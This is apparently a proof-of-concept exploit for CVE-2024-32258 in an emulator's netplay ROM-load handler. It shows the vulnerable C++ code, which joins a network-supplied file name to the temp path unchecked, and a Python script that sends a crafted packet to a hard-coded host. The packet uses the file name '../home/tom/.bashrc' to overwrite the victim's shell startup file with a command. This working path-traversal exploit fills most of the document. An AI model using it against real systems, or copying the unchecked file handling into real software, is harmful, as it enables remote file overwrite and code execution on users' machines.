CVE-2024-32258

if (acceptRomLoadReq)
{
    FILE *fp;
    std::string filepath = QDir::tempPath().toLocal8Bit().constData(); 
    const char *romData = &static_cast<const char*>(msgBuf)[ sizeof(netPlayLoadRomReq) ];

    filepath.append( "/" );
    filepath.append( msg->fileName );

    printf("Load ROM Request Received: %s\n", filepath.c_str());

    //printf("Dumping Temp Rom to: %s\n", filepath.c_str());
    fp = ::fopen( filepath.c_str(), "w");

    if (fp == nullptr)
    {
        return;
    }
    ::fwrite( romData, 1, msgSize, fp );
    ::fclose(fp);

    FCEU_WRAPPER_LOCK();
    LoadGame( filepath.c_str(), true, true );
    FCEUI_SetEmulationPaused(EMULATIONPAUSED_PAUSED);
    FCEU_WRAPPER_UNLOCK();

    resyncAllClients();
}

import socket
import binascii

client = socket.socket(family=socket.AF_INET, type=socket.SOCK_STREAM)
client.connect(('192.168.17.131', 4046))

header = "aa55aa55aa55aa550000000a00000204000000f0"
file_name = '../home/tom/.bashrc'
padding1 = '\0' * (256 - len(file_name))
nes_content = "gnome-calculator\n"
padding2 = '\0' * 0x100

client.send(binascii.unhexlify(header) + (file_name + padding1 + nes_content + padding2).encode())
res = client.recv(1024)
print(res)

packet = "0000000000000000000000000800450000641108400040062b8a7f0000017f000001cd340fcee511e70e3cfc427080180200fe5800000101080a94ee338594ee3382aa55aa55aa55aa5500000028000000300000000100000001000000000000000000000000000000000000000000000000"
client.send(binascii.unhexlify(packet))
res = client.recv(1024)
print(res)